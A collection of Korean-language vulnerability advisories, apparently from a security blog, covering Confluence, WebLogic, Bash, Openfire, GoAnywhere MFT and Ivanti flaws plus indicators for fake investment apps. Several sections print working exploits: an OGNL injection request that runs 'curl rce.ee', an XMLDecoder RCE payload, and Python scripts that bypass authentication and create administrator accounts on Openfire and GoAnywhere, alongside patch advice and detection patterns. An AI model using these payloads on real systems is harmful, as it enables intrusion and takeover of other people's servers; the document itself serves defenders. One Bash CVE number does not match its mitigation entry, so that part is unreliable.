1. 개요 [1]

- 최근 해킹조직이 국내 웹사이트 공격에 소프트웨어 취약점을 악용

- 취약한 버전의 소프트웨어를 운용하는 경우 최신버전 업데이트 등 보안 조치 권고

 

2. 주요내용

2.1 Atlassian (CVE-2023-22527) [2]

- Atlassian社 Confluence Server 및 Confluence Data Center 제품 탬플릿에 OGNL 표현식을 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) [3]

- 영향받는 버전: 8.0.x / 8.1.x / 8.2.x / 8.3.x / 8.4.x / 8.5.0 ~ 8.5.3
- 취약점은 "./confluence/confluence/template/aui/text-inline.vm"에서 발생
> #set( $labelValue = $stack.findValue("getText('$parameters.label')") )
> 매개변수를 직접 사용하여 발생하는 취약점

- PoC [4]

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

 

2.2 Oracle (CVE-2017-3506) [5]

- Oracle WebLogic WLS 제품에서 XML 디코드 처리 미흡으로 조작된 XML 페이로드를 전송해 원격 코드 실행이 가능한 취약점 (CVSS: 7.4) [6]
- 영향받는 버전: 10.3.6.0 / 12.1.3.0 / 12.2.1.0 / 12.2.1.1 / 12.2.1.2
- PoC [7][8]

<soapenv:Envelope xmlns:soapenv="hxxp://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="hxxp://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

 

2.3 GNU (CVE-2013-6217) [9]

- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)
- 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3
- 관련 추가 내용 확인 불가

 

3. 대응방안

- 최신 버전 업데이트 적용

취약점 대상 소프트웨어 조치 방안
CVE-2023-22527 Confluence Data Center 8.5.4. 이상 업데이트
Confluence Server 8.6.0 이상 업데이트
8.7.1 이상 업데이트
CVE-2017-3506 WebLogic 2017.10 Oracle Critical 패치
업데이트
CVE-2014-6271 GNU Bash Red Hat Enterprise Linux 
4,5,6,7 업데이트
Ubuntu 10.04, 12.04, 14.04 
업데이트
* GNU 기반 운영체제별 최신 
업데이트 권고

 

4. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=115734&pageIndex=1&searchCnd2=
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-22527
[3] https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
[4] https://github.com/Manh130902/CVE-2023-22527-POC
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[6] https://ggonmerr.tistory.com/search/CVE-2017-3506
[7] https://github.com/Al1ex/CVE-2017-3506
[8] http://www.code2sec.com/weblogiclou-dong-cve-2017-3506fu-xian-web-servicesmo-kuai-de-lou-dong.html
[9] https://nvd.nist.gov/vuln/detail/CVE-2013-6217

1. Openfire [1]

- 자이브 소프트웨어(Jive Software)의 실시간 협업 서버

- XMPP(Extensible Messaging and Presence Protocol) 프로토콜을 기반으로 하는 오픈 소스 실시간 협업 서버

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-32315 [2]

 

- 취약한 버전의 Openfire 관리 콘솔 페이지에서 설정 환경을 통한 경로 탐색이 가능한 취약점

> 해당 취약점은 2023년 패치 보안 업데이트를 발표하였으며, 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

> 최근 국가 배후 해킹조직에서 해당 취약점을 악용한 정황이 포착

제품명 영향받는 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 
4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4,
4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7,
4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4)

 

2.1 취약점 상세

- 해당 취약점은 2023년 패치 보안 업데이트를 발표

> 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

[사진 2] http.title:"Openfire Admin Console" 검색 화면

 

- 해당 취약점은 "testURLPassesExclude" 메소드에서 URL에 대한 입력값 검증이 부족하여 발생

> doFilter()는 HTTP 요청을 가로채 입력값 검증, 권한 검증 등을 수행하는 것으로 판단됨

> testURLPassesExclude 메소드는 doFilter()에 의해 호출

> testURLPassesExclude는 URL에서 ".." 또는 "%2e (디코딩 .)" 문자열만 필터링하며 그 외 추가적인 필터링은 존재하지 않음

public static boolean testURLPassesExclude(String url, String exclude) {
        // If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
        // If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
        // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
        // character then the URL is allowed if it exactly matches everything before the * and there are no ".."
        // characters after the "*". All data in the URL before
        if (exclude.endsWith("*")) {
            if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
                // Now make suxre that there are no ".." characters in the rest of the URL.
                if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                    return true;
                }
            }
        }
        else if (exclude.contains("?")) {
            if (url.equals(exclude)) {
                return true;
            }
        }
        else {
            int paramIndex = url.indexOf("?");
            if (paramIndex != -1) {
                url = url.substring(0, paramIndex);
            }
            if (url.equals(exclude)) {
                return true;
            }
        }
        return false;
    }

 

- 공격자는 /%u002e%u002e/%u002e%u002e/ (디코딩 /../../)를 이용해 URL 입력값 검증을 우회

> 벤더사는 당시 웹 서버에서 지원하지 않는 UTF-16 문자의 특정 비표준 URL 인코딩에서 오류가 발생하였다고 밝힘

예시: "[Target IP]/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"

 

2.2 취약점 실습

- Opernfire 설치 후 정상 접근 확인

[사진 3] Openfire 정상 접근

 

- BurpSuite를 이용해 plugin-admin.jsp 요청을 전송하여 JSESSION ID 및 CSRF와 같은 필요한 세션 토큰을 획득

/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp

[사진 4] 세션 토큰 획득

 

- 획득한 세션 토큰을 이용해 user-create.jsp 요청을 전송하여 새로운 관리자 계정 생성

[사진 5] 새로운 관리자 계정 test 생성

 

- test 계정으로 정상 접근관리자 권한을 가진 것을 확인

> [사진 5] 관리자 계정 생성시 관리자 세션 토큰을 이용해 관리자 권한을 가진 것으로 판단됨

[사진 5] 관리자 계정 test 정상 접근

 

2.3 PoC [3]

- 세션 토큰(JSESSION ID 및 CSRF) 획득 후 토큰을 이용해 새로운 계정 생성

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests

artwork = '''

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

def between(string, starting, ending):
    s = string.find(starting)
    if s < 0:
        return ""
    s += len(starting)
    e = string[s:].find(ending)
    if e < 0:
        return ""
    return string[s : s+e]

final_result = []

def exploit(target):
    hack = HackRequests.hackRequests()
    host = target.split("://")[1]

    # setup 1: get csrf + jsessionid
    jsessionid = ""
    csrf = ""

    try:
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }
        print(f"[..] Checking target: {target}")
        hh = hack.http(url, headers=headers)
        jsessionid = hh.cookies.get('JSESSIONID', '')
        csrf = hh.cookies.get('csrf', '')

        if jsessionid != "" and csrf != "":
            print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf: {csrf}")
        else:
            print("Failed to get JSESSIONID and csrf value")
            return
        
        # setup 2: add user
        username = generate_random_string(6)
        password = generate_random_string(6)
        
        header2 = {
            "Host": host,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }

        create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
        hhh = hack.http(create_user_url, headers=header2)

        if hhh.status_code == 200:
            print(f"User added successfully: url: {target} username: {username} password: {password}")
            with open("success.txt", "a+") as f:
                f.write(f"url: {target} username: {username} password: {password}\n")
        else:
            print("Failed to add user")
        # setup 3: add plugin

    except Exception as e:
        print(f"Error occurred while retrieving cookies: {e}")

def main():
    print(artwork)

    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The URL of the target, eg: http://127.0.0.1:9090', default=False)
    parser.add_argument("-l", "--list", action="store", help="List of target url saperated with new line", default=False)
    args = parser.parse_args()

    if args.target is not False:
        exploit(args.target) 
	
    elif args.list is not False:
        with open(args.list) as targets:
            for target in targets:
                target = target.rstrip()
                if target == "":
                    continue
                if "http" not in target:
                    target = "http://" + target
                exploit(target) 
    else:
        parser.print_help()
        parser.exit()

# def main():
#     parser = argparse.ArgumentParser(description="CVE-2023-32315")
#     parser.add_argument("-u", help="Target URL")
#     parser.add_argument("-l", help="File containing URLs")
#     parser.add_argument("-t", type=int, default=10, help="Number of threads")

#     args = parser.parse_args()

#     target_url = args.u
#     file_path = args.l
#     thread = args.t

#     targets = []

#     if target_url is None:
#         with open(file_path, "r") as file:
#             for line in file:
#                 target = line.strip()
#                 if target == "":
#                     continue
#                 if "http" not in target:
#                     target = "http://" + target
#                 targets.append(target)

#         with ThreadPoolExecutor(max_workers=thread) as executor:
#             for target in targets:
#                 executor.submit(exploit, target)
                

#     else:
#         exploit(target_url)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

> decodedUrl()를 추가하여 UTF-8 디코딩 [8]

제품명 영향받는 버전 해결 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 
4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 
4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 
4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 
4.7.3, 4.7.4)
4.6.8, 4.7.5, 4.8.0

 

- 업데이트가 불가한 경우 opt/openfire/plugins/admin/webapp/WEB-INF/web.xml 편집

> AuthFilter 요소에서 *를 제거 및 Authentication으로 설정한 후 모든 것을 제외

> 악용을 시도하는 경우 로그인 페이지로 리디렉션

[사진 6] 설정 파일 수정

 

- /%u002e%u002e/%u002e%u002e/ 탐지 정책 적용

 

4. 참고

[1] https://www.igniterealtime.org/projects/openfire/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32315
[3] https://github.com/miko550/CVE-2023-32315
[4] https://discourse.igniterealtime.org/t/cve-2023-32315-openfire-administration-console-authentication-bypass/92869
[5] https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
[6] https://www.igniterealtime.org/downloads/
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71305
[8] https://github.com/igniterealtime/Openfire/blob/5454b57088ef6b62af39bb3cf704879baf55ab07/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java#L194
[9] https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
[10] https://codewithvamp.medium.com/cve-2023-32315-administration-console-authentication-bypass-c1429f8c4576
[11] https://www.seqrite.com/blog/critical-security-alert-cve-2023-32315-vulnerability-in-openfire-xmpp-server/
[12] https://www.boannews.com/media/view.asp?idx=126400&page=1&kind=1

1. GoAnywhere MFT [1]

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-0204 [1]

 

- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함

영향받는 버전 [3]
① Fortra GoAnywhere MFT 6.x (6.0.1 이상)
② Fortra GoAnywhere MFT 7.x (7.4.1 이전)

 

2.1 취약점 상세 [4]

- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성

 

[사진 2] 설치 중 관리자 계정 추가

 

- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생

> 관리자 계정이 생성되었기 때문

> /Dashboard.xhtml 엔드포인트로 리디렉션

> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션

 

- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출

> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행

> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인

① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션
② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션

 

[사진 3]&nbsp; /wizard/InitialAccountSetup.xhtml 관련 명시적 코드

 

- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용

> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]

> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행

hxxps://[Target IP]/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml

 

[사진 4] 관리자 계정 생성 페이지 (좌) 및 관리자 계정 생성 (우)

 

2.2 PoC [7]

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml URL로 GET 요청 전송

import requests
from bs4 import BeautifulSoup
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def validate_password(password):
    if len(password) < 8:
        raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
    return password

def main():
    parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
    parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("username", help="New admin username")
    parser.add_argument("password", help="New admin password", type=validate_password)
    args = parser.parse_args()
    url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    data = {
        "j_id_u:creteAdminGrid:username": args.username,
        "j_id_u:creteAdminGrid:password_hinput": args.password,
        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:submitButton": "",
        "createAdminForm_SUBMIT": 1,
    }

    s = requests.session()
    r = s.get(url, verify=False)
    if r.status_code == 401:
        raise Exception("Endpoint does not appear to be vulnerable.")

    soup = BeautifulSoup(r.text, "html.parser")
    input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
    data['javax.faces.ViewState'] = input_field['value']
    r = s.post(url, verify=False, data=data)

    if r.status_code != 200:
        raise Exception("Failed to create new admin user")

    soup = BeautifulSoup(r.text, "html.parser")
    error_message = soup.find("span", {"class": "ui-messages-error-summary"})
    if error_message is not None:
        raise Exception(error_message.text)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 : Fortra GoAnywhere MFT 7.4.1 이상 [8]

> 벤더사 권고 추가 해결 방안

① 비컨테이너 배포 인스턴스의 경우 설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 삭제하고 서비스 다시 시작

② 컨테이너 배포 인스턴스의 경우설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 빈 파일로 바꾸고 서비스 다시 시작

 

- 관리자 계정 목록 검토

> GoAnywhere administrator portal Users -> Admin Users 검토

> 또는, \GoAnywhere\userdata\database\goAnywhere\log\*.log 로그 검토

※ 해당 로그는 DB의 트랜잭션 기록이 포함되어 있으며, 사용자 추가시 관련 로그가 기록됨

 

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 탐지 패턴 적용

 

4. 참고

[1] https://www.goanywhere.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0204
[3] https://www.fortra.com/security/advisory/fi-2024-001
[4] https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
[5] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal
[6] https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
[7] https://github.com/horizon3ai/CVE-2024-0204
[8] https://www.kroll.com/en/insights/publications/cyber/authentication-bypass-in-fortra-goanywhere-mft
[9] https://cybersecuritynews.com/goanywhere-mft-bypass/amp/
[10] https://www.upguard.com/blog/goanywhere-cve-2024
[11] https://www.helpnetsecurity.com/2024/01/24/poc-cve-2024-0204/
[12] https://socprime.com/blog/cve-2024-0204-detection-critical-vulnerability-in-fortra-goanywhere-mft-resulting-in-authentication-bypass/
[13] https://www.boannews.com/media/view.asp?idx=126043&page=1&kind=1

1. 개요

- 최근 국내 앱 마켓을 통해 국내 주요 금융社 명칭과 브랜드 로고를 교모하게 변조한 사기앱이 유포

- 해당 앱은 누구나 국내 앱 마켓에서 검색 및 설치가 가능

> 국민 피해 예방을 위해 사기 수법·위장 앱 명칭 등 내용을 공개

 

2. 주요 내용

- 주식, 비상장 코인 투자 정보 제공을 주제로 홍보해 앱 설치 유도

 

[사진 1] 위장 앱 및 기능

 

- 정상 정보·비정상 정보가 혼재된 금융정보 제공 및 사용자 투자의향 표명 시 상담 채널(텔레그램) 연결

> 앱 실행 시 위장 사이트로 연결하며, 회원가입·로그인·일부 조작된 금융 정보 등을 표출

 

[사진 2] 앱 실행 시 회원가입&middot;로그인 요청 및 일부 조작된 거래정보 표출

 

- 상담 채널에서는 이체 요청 후 잠적하는 수법으로 자금 절취

① 비상장 코인에 대해 투자 권유

② 투자금 입금용 계좌번호에 자금 이체 요청

③ 입금 시 수수료 등을 사유로 추가 입금 지속 요구

④ 피해자가 환불 등을 요청시, 잠적

 

3. 침해지표

- 앱 내 포함된 1차 위장 사이트로 접속하면 2차 위장 사이트로 리다이렉션 (두 사이트가 한 세트로 동작)

순번 1차 위장 사이트 2차 위장 사이트 사이트명
1 a[.]phxvsmz[.]store www[.]folisc[.]com 한화
2 a[.]riopcjj[.]store www[.]zoity[.]xyz HANA INT
3 a[.]rnoclbs[.]store www[.]hkahd[.]xyz DB운용에
4 a[.]zaibhmk[.]store www[.]zopsf[.]xyz 유안타 T
5 a[.]xjtyqnw[.]store www[.]ciosly[.]xyz KB AI
6 a[.]wieoawz[.]store www[.]shinhanfund[.]xyz 신한자산운용

 

- 동일한 방식으로 국내 금융社 뿐만 아니라 해외 금융社, 거래소 등을 위장한 사이트도 추가 확인

순번 1차 위장 사이트 2차 위장 사이트
1 a[.]pkxvsmz[.]store www[.]folisc[.]com
2 a[.]riopcjj[.]store www[.]zoity[.]xyz
3 a[.]rnoclbs[.]store www[.]hkahd[.]xyz
4 a[.]zaibhmk[.]store www[.]zopsf[.]xyz
5 a[.]ynrxpkx[.]store www[.]jiudfr[.]xyz
6 a[.]xjtyqnw[.]store www[.]ciosly[.]xyz
7 a[.]wieoawz[.]store www[.]shinhanfund[.]xyz
8 a[.]vzfctgx[.]store www[.]tsuhd[.]xyz
9 a[.]rouurxt[.]store www[.]djueh[.]xyz
10 a[.]emmgadv[.]store www[.]ljiaw[.]com
11 a[.]kwgrnma[.]store www[.]ghdu[.]xyz
12 a[.]ldweezt[.]store www[.]fislod[.]xyz
13 a[.]oepypdd[.]store www[.]bopsi[.]xyz
14 a[.]zcttesa[.]store www[.]djeruy[.]xyz
15 a[.]tphliy[.]store h5[.]cscmapplic[.]xyz
16 a[.]donelwf[.]store www[.]jclise[.]xyz
17 a[.]tnlejon[.]store www[.]zshhsi[.]xyz
18 a[.]jbtlmve[.]store www[.]yiosfe[.]com
19 a[.]dtqyipq[.]store www[.]cipsid[.]xyz
20 a[.]miknddc[.]store www[.]jxbyudufs[.]xyz
21 a[.]wpuvxrn[.]store www[.]piv3[.]com
22 a[.]lpmreoo[.]store www[.]xvsto[.]com
23 a[.]vfnnhlx[.]store www[.]goiwey[.]com
24 a[.]ihimrsb[.]store www[.]topsixj[.]xyz
25 a[.]kpdlhgz[.]store www[.]huiwas[.]com
26 a[.]erweliq[.]store www[.]copeis[.]com
27 a[.]sbwyyqs[.]store www[.]gusisy[.]com
28 a[.]ybuaiot[.]store www[.]tposl[.]xyz
29 a[.]kqoykjn[.]store www[.]tioesl[.]com
30 a[.]vwmnasu[.]store www[.]fgdku[.]xyz
31 a[.]vvjwnmz[.]store www[.]copwx[.]xyz
32 a[.]pfmczyc[.]store www[.]kkjqaz[.]xyz
33 a[.]spgvehi[.]store www[.]ryshos[.]xyz
34 a[.]oaeqxyh[.]store www[.]afhas[.]xyz
35 a[.]zciqgpk[.]store www[.]ljkoc[.]xyz
36 a[.]rppuriw[.]store www[.]ymlisj[.]xyz
37 a[.]aadnhtr[.]store www[.]huiwus[.]com
38 a[.]ckwausl[.]store www[.]fopsjl[.]xyz
39 a[.]gldltyu[.]store www[.]lopwb[.]com
40 a[.]efekftr[.]store www[.]yopdos[.]com
41 a[.]sqrtexz[.]store www[.]kliow[.]xyz
42 a[.]oihckla[.]store www[.]goplpr[.]xyz
43 a[.]djjuedn[.]store www[.]foloix[.]xyz
44 a[.]ebrehld[.]store www[.]yshsns[.]xyz
45 a[.]tpqqkaf[.]store www[.]ropsows[.]xyz
46 a[.]fwhfqkr[.]store www[.]kloieds[.]com
47 a[.]bfwheyk[.]store www[.]accerxas[.]com
48 a[.]mofwepg[.]store www[.]djeruy[.]xyz
49 a[.]lvowzbi[.]store www[.]chneyxvgue[.]xyz
50 www[.]fdasgrdeg[.]store www[.]accerxan[.]com
51 a[.]agplnnw[.]store www[.]xoepdi[.]com
52 a[.]bdemzuc[.]store www[.]dckgti[.]top/kjhek
53 a[.]tskaewj[.]store www[.]aopeses[.]xyz
54 a[.]zuobazx[.]store www[.]accerxan[.]com
55 z[.]whbppxbv[.]store www[.]cmeo[.]com/syn/?y=crypto
56 a[.]syodobc[.]store www[.]flpoesd[.]xyz
57 a[.]cpjmise[.]store www[.]dsdfj[.]xyz
58 a[.]btgevwa[.]store www[.]gdfkhs[.]xyz
59 a[.]ecpotev[.]store www[.]huioesp[.]xyz

 

- 연관 IP 및 MD5

IP 104.22.2.180, 18.166.69.216
MD5 8fd044efd4dd587e2f88c99317371a15 9c2c0d531128233fd5e5ce1fe73afd12
63a515eeb2ef9f73d5b4496f95816e22 1a2c2796572417d7962d6781fee0cb0d
e44fa1bc393b73cbe85c1c0667caf9a4 1ef42484fe8c64382b34fedb1ca93b2e
386afb1e9cd65f88b3faf4031170fc2b 0353251c0ecb5c04ae90ad4c34fd01c8
05b4f435a757f1af3e1e3f269fe3aa3a c52b6d4a3e6f49239397a7f6f5690c78
68c9dafde8be4306b2626cc4a8a5406b 45cdb45b4a0eb201acce1b6dc0477601
7c931a39ce321b216dd22fbae69273a9 768605b5fd6721d7acd3c1a6523955b8

 

4. 대응방안

- 발견된 앱은 백신社와 협조하여 탐지 조치

- 금융보안원 등 유관 기관에 해당 내용을 전파하여 사기앱과 연계된 사이트 차단

 

5. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=112826&pageIndex=1&searchCnd2=#LINK

1. Ivanti [1]

- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산

 

2. 취약점

- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]

 

2.1 CVE-2023-46805

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46805 [4]

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점

> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음

> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

 

- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]

> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음

> 이후 해당 요청은 Python 백엔드 REST 서버로 전달

// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
  // ...snip...
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
